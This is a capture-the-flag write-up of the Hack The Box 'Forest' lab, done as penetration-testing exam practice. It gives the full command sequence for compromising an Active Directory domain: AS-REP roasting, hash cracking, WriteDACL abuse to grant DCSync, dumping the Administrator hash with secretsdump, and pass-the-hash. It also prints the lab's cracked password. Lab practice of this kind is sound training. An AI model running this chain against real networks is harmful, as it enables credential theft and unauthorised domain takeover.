Overview
Forest is a beginner-friendly Active Directory box that chains together several classic AD misconfigurations into a full domain compromise:
- Anonymous LDAP bind to enumerate domain users
- AS-REP Roasting against an account with Kerberos pre-authentication disabled
- Nested group membership abuse (
Account Operators→Exchange Windows Permissions) - WriteDACL abuse to self-grant DCSync rights
- DCSync attack to dump domain credentials
- Pass-the-Hash as Administrator for full domain compromise
Reconnaissance
Nmap
A full TCP port scan against the target reveals a textbook Domain Controller fingerprint:
sudo nmap -p- -sC -sV --min-rate 5000 <TARGET_IP> -oN nmap_scan.txt
Key ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | Microsoft Windows Kerberos |
| 389/3268 | LDAP | Domain: htb.local, Site: Default-First-Site-Name |
| 445 | SMB | Windows Server 2016 Standard 14393 |
| 5985 | WinRM | Microsoft HTTPAPI httpd 2.0 |
The nmap SMB scripts also revealed that anonymous (guest) authentication was accepted:
smb-security-mode:
account_used: guest
Domain: htb.local Hostname: FOREST
Anonymous LDAP Enumeration
Forest's LDAP service accepts unauthenticated binds, allowing full directory enumeration without credentials:
ldapsearch -x -H ldap://<TARGET_IP> -b "dc=htb,dc=local"
This returns a large amount of directory information, including a list of domain users. Pulling just the usernames:
ldapsearch -x -H ldap://<TARGET_IP> -b "dc=htb,dc=local" \
"(objectClass=user)" sAMAccountName -LLL | grep "sAMAccountName:" | awk '{print $2}'
Note: Anonymous LDAP binds can silently truncate or omit some accounts (server-side result limits, indexing quirks, etc.). If you have a suspected username from a hint or prior knowledge, always confirm it with a direct, targeted query rather than trusting a broad dump:
ldapsearch -x -H ldap://<TARGET_IP> -b "dc=htb,dc=local" "(sAMAccountName=svc-alfresco)" sAMAccountName
AS-REP Roasting
With a user list in hand, check for accounts that have Kerberos
Pre-Authentication disabled (UF_DONT_REQUIRE_PREAUTH). Any such account
will hand back an AS-REP hash to an unauthenticated request — no password
needed to trigger it.
python3 GetNPUsers.py htb.local/ -usersfile users.txt -no-pass -dc-ip <TARGET_IP>
The account svc-alfresco comes back vulnerable, yielding a crackable
$krb5asrep$23$ hash.
Cracking the Hash
hashcat -m 18200 svc_alfresco.hash /usr/share/wordlists/rockyou.txt --force
Cracked in under a second on an RTX 5070:
svc-alfresco : s3rvice
Initial Foothold
Credentials confirmed valid over SMB:
crackmapexec smb <TARGET_IP> -u svc-alfresco -p 's3rvice'
Since WinRM (5985) is open, this gets us a full interactive shell:
evil-winrm -i <TARGET_IP> -u svc-alfresco -p 's3rvice'
User flag captured from C:\Users\svc-alfresco\Desktop\user.txt. ✅
Privilege Escalation Path
1. Mapping the ACLs
Querying the domain object's ACL directly (dsacls) or via BloodHound reveals
that the group Exchange Windows Permissions holds WriteDACL rights
over the domain object DC=htb,DC=local:
dsacls "DC=htb,DC=local"
Allow HTB\Exchange Windows Permissions
SPECIAL ACCESS
WRITE PERMISSIONS
DELETE TREE
This is a common Exchange installation artifact — Exchange grants this group broad domain permissions to support mail flow management, and it's frequently over-privileged relative to what it actually needs.
2. The Group Nesting Chain
svc-alfresco isn't a direct member of Exchange Windows Permissions, but
group nesting gets it there:
svc-alfresco → Service Accounts → Privileged IT Accounts → Account Operators
Account Operators has rights to manage group memberships — including
adding svc-alfresco directly into Exchange Windows Permissions.
3. Adding svc-alfresco to Exchange Windows Permissions
Lesson learned: Windows-side commands (
net group ... /add,Add-ADGroupMember) reported success in this environment but the membership did not actually persist — confirmed viaGet-ADPrincipalGroupMembership svc-alfresco, which is the authoritative check (don't just trustGet-ADGroupMemberon the group side).The fix: perform the group add from Linux via Samba's
net rpcinstead, which worked reliably where the Windows-native tools silently failed:
net rpc group addmem "Exchange Windows Permissions" svc-alfresco \
-U htb.local/svc-alfresco%s3rvice -S <TARGET_IP>
Verify:
net rpc group members "Exchange Windows Permissions" -U svc-alfresco%s3rvice -S <TARGET_IP>
4. Granting DCSync Rights via WriteDACL Abuse
With svc-alfresco now inheriting Exchange Windows Permissions' WriteDACL
right, we can write a new ACE onto the domain object granting DCSync
(DS-Replication-Get-Changes + DS-Replication-Get-Changes-All):
dacledit.py -action write -rights DCSync -principal svc-alfresco \
-target-dn "DC=htb,DC=local" htb.local/svc-alfresco:'s3rvice' -dc-ip <TARGET_IP>
[*] DACL backed up to dacledit-<timestamp>.bak
[*] DACL modified successfully!
5. DCSync — Dumping Domain Credentials
impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@<TARGET_IP> -just-dc-user Administrator
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::
6. Pass-the-Hash to Administrator
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>
Root flag captured from C:\Users\Administrator\Desktop\root.txt. ✅
Attack Chain Summary
Anonymous LDAP enum
│
▼
AS-REP Roast (svc-alfresco) → hashcat crack → s3rvice
│
▼
WinRM foothold as svc-alfresco → USER FLAG
│
▼
Account Operators (nested membership)
│
▼
Add svc-alfresco → Exchange Windows Permissions (via net rpc, NOT native AD cmdlets)
│
▼
WriteDACL abuse → grant DCSync rights to svc-alfresco
│
▼
DCSync → dump Administrator NTLM hash
│
▼
Pass-the-Hash as Administrator → ROOT FLAG
Key Takeaways
- Anonymous LDAP is a goldmine — always check it first on any AD box.
- AS-REP Roasting requires no credentials at all — just a valid username list.
- Group nesting matters — direct group membership isn't the whole picture; always trace inherited rights through nested groups.
- Exchange installs frequently over-privilege AD groups —
Exchange Windows PermissionsandExchange Trusted Subsystemare common privilege-escalation vectors on any domain running on-prem Exchange. - Verify group membership changes from the authoritative side.
Get-ADPrincipalGroupMembership <user>is the ground truth — don't trust a command's "success" message or a possibly-stale group-side listing. - Samba's
net rpcis a solid fallback for AD object modification when native Windows tooling behaves inconsistently.
Written up as part of ongoing CPTS/OSCP prep — HTB Academy Penetration Tester path, Active Directory module practice.